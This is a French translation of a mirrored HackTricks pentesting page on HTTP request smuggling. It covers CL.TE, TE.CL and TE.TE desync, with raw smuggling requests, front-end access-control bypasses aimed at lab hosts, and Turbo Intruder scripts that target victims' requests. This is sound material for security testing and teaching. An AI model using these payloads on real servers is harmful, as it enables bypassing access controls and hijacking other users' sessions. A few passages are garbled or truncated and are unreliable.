Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/http-request-smuggling
History
Translator workflow af42105553 Translated to French
2023-06-03 13:10:46 +00:00
..
browser-http-request-smuggling.md Translated to French 2023-06-03 13:10:46 +00:00
README.md Translated to French 2023-06-03 13:10:46 +00:00
request-smuggling-in-http-2-downgrades.md Translated to French 2023-06-03 13:10:46 +00:00

README.md

HTTP Request Smuggling / Attaque HTTP Desync

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Qu'est-ce que c'est

Cette vulnérabilité se produit lorsqu'une désynchronisation entre les proxys frontaux et le serveur back-end permet à un attaquant d'envoyer une requête HTTP qui sera interprétée comme une seule requête par les proxys frontaux (équilibrage de charge / proxy inverse) et comme 2 requêtes par le serveur back-end.
Cela permet à un utilisateur de modifier la prochaine requête qui arrive sur le serveur back-end après la sienne.

Théorie

Spécification RFC (2161)

Si un message est reçu avec à la fois un champ d'en-tête Transfer-Encoding et un champ d'en-tête Content-Length, ce dernier DOIT être ignoré.

Content-Length

L'en-tête d'entité Content-Length indique la taille du corps de l'entité, en octets, envoyé au destinataire.

Transfer-Encoding: chunked

L'en-tête Transfer-Encoding spécifie la forme de codage utilisée pour transférer en toute sécurité la charge utile du corps à l'utilisateur.
Chunked signifie que de grandes données sont envoyées sous forme de séries de fragments.

Réalité

Le front-end (un équilibrage de charge / proxy inverse) traite l'en-tête content-length ou transfer-encoding et le serveur back-end traite l'autre en provoquant une désynchronisation entre les 2 systèmes.
Cela pourrait être très critique car un attaquant pourra envoyer une requête au proxy inverse qui sera interprétée par le serveur back-end comme 2 requêtes différentes. Le danger de cette technique réside dans le fait que le serveur back-end interprétera la 2ème requête injectée comme si elle venait du client suivant et la vraie requête de ce client fera partie de la requête injectée.

Particularités

Rappelez-vous qu'en HTTP, un caractère de nouvelle ligne est composé de 2 octets :

  • Content-Length : Cet en-tête utilise un nombre décimal pour indiquer le nombre d'octets du corps de la requête. Le corps est censé se terminer par le dernier caractère, une nouvelle ligne n'est pas nécessaire à la fin de la requête.
  • Transfer-Encoding: Cet en-tête utilise dans le corps un nombre hexadécimal pour indiquer le nombre d'octets du prochain fragment. Le fragment doit se terminer par une nouvelle ligne mais cette nouvelle ligne n'est pas comptée par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un fragment de taille 0 suivi de 2 nouvelles lignes : 0
  • Connection: D'après mon expérience, il est recommandé d'utiliser Connection: keep-alive sur la première requête de la requête Smuggling.

Exemples de base

Ainsi, les attaques de requête de contrebande impliquent de placer à la fois l'en-tête Content-Length et l'en-tête Transfer-Encoding dans une seule requête HTTP et de manipuler ces derniers de manière à ce que les serveurs frontal et back-end traitent la requête différemment. La manière exacte dont cela est fait dépend du comportement des deux serveurs :

  • CL.TE : le serveur frontal utilise l'en-tête Content-Length et le serveur back-end utilise l'en-tête Transfer-Encoding.
  • TE.CL : le serveur frontal utilise l'en-tête Transfer-Encoding et le serveur back-end utilise l'en-tête Content-Length.
  • TE.TE : les serveurs frontal et back-end prennent tous deux en charge l'en-tête Transfer-Encoding, mais l'un des serveurs peut être amené à ne pas le traiter en obscurcissant l'en-tête d'une manière ou d'une autre.

Vulnérabilités CL.TE

Ici, le serveur frontal utilise l'en-tête Content-Length et le serveur back-end utilise l'en-tête Transfer-Encoding. Nous pouvons effectuer une attaque de requête de contrebande HTTP simple comme suit :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /404 HTTP/1.1
Foo: x

Notez comment Content-Length indique que la longueur des corps de la requête est de 30 octets (rappelez-vous que HTTP utilise une nouvelle ligne, donc 2 octets pour chaque nouvelle ligne), donc le proxy inverse enverra la requête complète au back-end, et le back-end traitera l'en-tête Transfer-Encoding, laissant GET /404 HTTP/1.1 comme début de la prochaine requête (au fait, la prochaine requête sera ajoutée à Foo:x<La prochaine requête commence ici>).

Vulnérabilités TE.CL

Ici, le serveur frontal utilise l'en-tête Transfer-Encoding et le serveur back-end utilise l'en-tête Content-Length. Nous pouvons effectuer une attaque de requête de contrebande HTTP

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

Étant donné que le serveur frontal utilise l'en-tête Content-Length, il ne transmettra qu'une partie de cette requête, en omettant le 0. Le serveur arrière utilise l'en-tête Transfer-Encoding, traite le premier fragment, puis attend l'arrivée du fragment suivant. Cela entraînera un retard temporel observable.

Parfois, au lieu d'obtenir une temporisation, vous recevez une erreur 400 bad request de l'hôte final comme dans le scénario suivant, où une charge utile CL.TE est envoyée:

Et la réponse est une redirection contenant une erreur dans le corps avec même la version de haproxy utilisée:

Trouver des vulnérabilités TE.CL en utilisant des techniques de temporisation

Si une application est vulnérable à la variante TE.CL de la faille de sécurité de la requête smuggling, alors l'envoi d'une requête comme celle-ci provoquera souvent un retard temporel:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

Étant donné que le serveur frontal utilise l'en-tête Transfer-Encoding, il ne transmettra qu'une partie de cette requête, en omettant le X. Le serveur arrière utilise l'en-tête Content-Length, attend plus de contenu dans le corps du message et attend que le contenu restant arrive. Cela provoquera un retard temporel observable.

Exploration des vulnérabilités de la technique de requête HTTP Smuggling

Une fois que vous avez constaté que les techniques de synchronisation fonctionnent, vous devez explorer si vous pouvez modifier les requêtes d'autres clients.
La manière la plus simple de le faire est d'essayer de corrompre vos propres requêtes, faire une demande pour / pour renvoyer un code 404 par exemple.
Dans les Exemples de base, nous avons déjà vu des exemples CL.TE et TE.CL de la manière de corrompre une requête de clients pour demander /404, provoquant une réponse 404 lorsque le client demandait une autre ressource.

Notes

Certaines considérations importantes doivent être gardées à l'esprit lors de la tentative de confirmation des vulnérabilités de la technique de requête smuggling via l'interférence avec d'autres requêtes :

  • La requête "attaque" et la requête "normale" doivent être envoyées au serveur en utilisant des connexions réseau différentes. L'envoi des deux requêtes via la même connexion ne prouvera pas que la vulnérabilité existe.
  • La requête "attaque" et la requête "normale" doivent utiliser la même URL et les mêmes noms de paramètres, autant que possible. Cela est dû au fait que de nombreuses applications modernes routent les requêtes frontales vers différents serveurs back-end en fonction de l'URL et des paramètres. L'utilisation de la même URL et des mêmes paramètres augmente la chance que les requêtes soient traitées par le même serveur back-end, ce qui est essentiel pour que l'attaque fonctionne.
  • Lors du test de la requête "normale" pour détecter toute interférence de la requête "attaque", vous êtes en concurrence avec toutes les autres requêtes que l'application reçoit en même temps, y compris celles des autres utilisateurs. Vous devez envoyer la requête "normale" immédiatement après la requête "attaque". Si l'application est occupée, vous devrez peut-être effectuer plusieurs tentatives pour confirmer la vulnérabilité.
  • Dans certaines applications, le serveur frontal fonctionne comme un équilibreur de charge et transfère les requêtes vers différents systèmes back-end selon un algorithme d'équilibrage de charge. Si vos requêtes "attaque" et "normale" sont transférées vers différents systèmes back-end, l'attaque échouera. C'est une raison supplémentaire pour laquelle vous devrez peut-être essayer plusieurs fois avant qu'une vulnérabilité puisse être confirmée.
  • Si votre attaque réussit à interférer avec une requête ultérieure, mais que ce n'était pas la requête "normale" que vous avez envoyée pour détecter l'interférence, cela signifie qu'un autre utilisateur de l'application a été affecté par votre attaque. Si vous continuez à effectuer le test, cela pourrait avoir un effet perturbateur sur les autres utilisateurs et vous devriez faire preuve de prudence.

Forcer via les en-têtes hop-by-hop

En abusant des en-têtes hop-by-hop, vous pouvez indiquer au proxy de supprimer l'en-tête Content-Length ou Transfer-Encoding pour qu'une requête HTTP smuggling soit possible à exploiter.

Connection: Content-Lentgh

Pour plus d'informations sur les en-têtes hop-by-hop, visitez :

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Abus de la technique HTTP Request Smuggling

Pour contourner les contrôles de sécurité frontaux

Parfois, les proxys frontaux effectuent des vérifications de sécurité. Vous pouvez les éviter en abusant de la technique HTTP Request Smuggling, car vous pourrez contourner les protections. Par exemple, dans cet exemple, vous ne pouvez pas accéder à /admin depuis l'extérieur et le proxy frontal vérifie cela, mais ce proxy ne vérifie pas la requête intégrée :

CL.TE

POST / HTTP/1.1
Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net
Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
\ `0`\
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
``
x=

TE.CL

POST / HTTP/1.1
Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net
Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
\

Révéler la réécriture de requête frontale

Dans de nombreuses applications, le serveur frontal effectue une réécriture des requêtes avant de les transférer au serveur back-end, généralement en ajoutant des en-têtes de requête supplémentaires.
Une chose courante à faire est d'ajouter à la requête l'en-tête X-Forwarded-For: <IP du client> ou un en-tête similaire pour que le back-end connaisse l'IP du client.
Parfois, si vous pouvez trouver les nouvelles valeurs qui sont ajoutées à la requête, vous pourriez être en mesure de contourner les protections et d'accéder à des informations/endpoints cachés.

Pour découvrir comment le proxy réécrit la requête, vous devez trouver un paramètre POST dont la valeur sera reflétée dans la réponse du back-end. Ensuite, utilisez ce paramètre en dernier et utilisez une technique d'exploitation comme celle-ci :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
``\ POST /search HTTP/1.1\ Host: vulnerable-website.com\ `Content-Type: application

Armes HTTP Request Smuggling avec la désynchronisation de la réponse HTTP

Avez-vous trouvé une vulnérabilité de HTTP Request Smuggling et vous ne savez pas comment l'exploiter ? Essayez cette autre méthode d'exploitation :

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Scripts Turbo Intruder

CL.TE

Depuis https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=1,
                           resumeSSL=False,
                           timeout=10,
                           pipeline=False,
                           maxRetriesPerRequest=0,
                           engine=Engine.THREADED,
                           )
    engine.start()

    attack = '''POST / HTTP/1.1
 Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

    engine.queue(attack)

    victim = '''GET / HTTP/1.1
Host: xxx.com

'''
    for i in range(14):
        engine.queue(victim)
        time.sleep(0.05)

def handleResponse(req, interesting):
    table.add(req)

TE.CL

À partir de: https://hipotermia.pw/bb/http-desync-account-takeover

La technique TE.CL est une technique de contournement de la protection contre les attaques de désynchronisation HTTP qui consiste à utiliser la méthode de transfert de codage de transfert de corps de message TE avec une valeur de champ de codage de transfert de dernière instance de connexion (CL). Cette technique est utilisée pour envoyer des requêtes HTTP malveillantes qui peuvent être utilisées pour effectuer une prise de contrôle de compte.

La technique TE.CL est similaire à la technique CL.TE, mais elle utilise la méthode TE avant la méthode CL.

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=1,
                           resumeSSL=False,
                           timeout=10,
                           pipeline=False,
                           maxRetriesPerRequest=0,
                           engine=Engine.THREADED,
                           )
    engine.start()

    attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
    engine.queue(attack)

    victim = '''GET / HTTP/1.1
Host: xxx.com

'''
    for i in range(14):
        engine.queue(victim)
        time.sleep(0.05)


def handleResponse(req, interesting):
    table.add(req)

Plus d'informations

Image d'ici.

Outils

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥